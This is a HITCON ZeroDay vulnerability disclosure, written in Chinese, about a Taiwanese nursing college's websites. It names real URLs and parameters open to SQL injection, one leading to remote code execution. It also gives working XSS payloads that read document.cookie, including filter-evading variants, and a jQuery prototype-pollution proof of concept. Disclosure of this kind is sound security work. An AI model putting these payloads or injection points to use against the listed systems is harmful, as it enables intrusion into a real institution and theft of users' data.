樹人醫護管理專科學校 網站存在 XSS 與 SQL injection to RCE 與原型汙染 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00065
  •  發信 Vendor: 樹人醫護管理專科學校
  • Title: 樹人醫護管理專科學校 網站存在 XSS 與 SQL injection to RCE 與原型汙染
  • Introduction: 網站存在 XSS 與 SQL injection to RCE 與原型汙染

處理狀態

目前狀態

公開
Last Update : 2022/04/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/01/25 05:31:27 : 新提交 (由 BTtea 更新此狀態)
  • 2022/02/16 23:16:35 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/02/18 16:19:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/02/18 16:19:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/02/18 16:19:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/04/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2022-00065
  • 通報者：blacktea_player (BTtea)
  • 風險：嚴重
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

http://163.15.64.31/szmc_all/sel/login

http://163.15.64.31/szmc_all/Demo

https://www.szmc.edu.tw/system/post/view.asp?ID=7518&showmonth=2&Page=1&Item=1

https://www.szmc.edu.tw/system/post/book.asp?&Page=2&showmonth=2&Item=4&Unit=

https://www.szmc.edu.tw/system/post/Book.asp

http://sdnews.szmc.edu.tw/szmc_all/Home/Login
http://teachnews.szmc.edu.tw/szmc_all/Home/Login

http://webpac.lib.szmc.edu.tw/bookSearchList.do?searchtype=simplesearch&search_field=FullText&search_input=123&searchsymbol=hyLibCore.webpac.search.common_symbol&execodehidden=true&execode=&ebook=

http://webpac.lib.szmc.edu.tw/bookSearchList.do?search_field=TI&search_input=123&搜尋=搜尋#search_field=TI&search_input=123&搜尋=搜尋&resid=188943212&nowpage=1

http://webpac.lib.szmc.edu.tw/bookSearchList.do?searchtype=adsearch&search_field=TI&search_input=1&searchsymbol=hyLibCore.webpac.search.near_symbol&op=and&search_field=SU&search_input=1&searchsymbol=hyLibCore.webpac.search.near_symbol&showtuple=10&sortfield=RELATED&sorttype=1&authoriz=1&querytype=1&phonetic=3&startyear=1&endyear=100&language=chi&cln=1&featurecode=L&CLASSTYPE=CCL&CLAN=0&keepsitelimit=-1&keepsitelimit=LIB&keepsitelimit=CC

http://www.lib.szmc.edu.tw/lp.asp?CtNode=755&CtUnit=185&BaseDSD=7&mp=1

敘述

http://163.15.64.31/szmc_all/sel/login
POST 參數 txtCode 值存在 SQL injection
圖片

http://163.15.64.31/szmc_all/Demo
POST 參數 sql 值存在 SQL injection to RCE (不知道這個頁面是怎樣...猜是測試用沒有關閉)
圖片圖片

https://www.szmc.edu.tw/system/post/view.asp?ID=7518&showmonth=2&Page=1&Item=1
ID 值存在 SQL injection
圖片

https://www.szmc.edu.tw/system/post/book.asp?&Page=2&showmonth=2&Item=4&Unit=
Unit 值存在 XSS
xss payload : " onclick="alert(document.cookie)">
圖片

https://www.szmc.edu.tw/system/post/Book.asp
查詢欄位存在 XSS
xss payload : "><script>alert(document.cookie)</script>

http://sdnews.szmc.edu.tw/szmc_all/Home/Login
http://teachnews.szmc.edu.tw/szmc_all/Home/Login
POST 參數 txtCode 值存在 SQL injection
圖片

http://webpac.lib.szmc.edu.tw/bookSearchList.do?search_field=TI&search_input=123&搜尋=搜尋#search_field=TI&search_input=123&搜尋=搜尋&resid=188943212&nowpage=1
search_input 值存在 XSS
xss payload : "><ceNteR onclick=alert(document.cookie)><h1>xss by bttea</h1></CenTer>

http://webpac.lib.szmc.edu.tw/bookSearchList.do?searchtype=adsearch&search_field=TI&search_input=1&searchsymbol=hyLibCore.webpac.search.near_symbol&op=and&search_field=SU&search_input=1&searchsymbol=hyLibCore.webpac.search.near_symbol&showtuple=10&sortfield=RELATED&sorttype=1&authoriz=1&querytype=1&phonetic=3&startyear=1&endyear=100&language=chi&cln=1&featurecode=L&CLASSTYPE=CCL&CLAN=0&keepsitelimit=-1&keepsitelimit=LIB&keepsitelimit=CC
search_field , sortfield , startyear , endyear , language , CLASSTYPE , CLAN 值存在 XSS
search_field , language , CLASSTYPE , CLAN xss payload : "><ceNteR onclick=alert(document.cookie)><h1>xss by bttea</h1></CenTer>
sortfield xss payload : "><A/+/onpOinTerenTer+=+(confirm)(document.cookie)>
endyear , startyear xss payload : "><dEtaILs%0AonpointerentEr+=+(alert)(document.cookie)>
圖片

http://www.lib.szmc.edu.tw/lp.asp?CtNode=755&CtUnit=185&BaseDSD=7&mp=1
BaseDSD 存在 XSS 與原型汙染

xss payload : ";alert(document.cookie);//
xss 原型汙染 PoC payload : ";$.extend(true,{},JSON.parse('{"__proto__":{"z":123'));alert(z);//

圖片圖片

修補建議

jquery 須更新(原型汙染)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;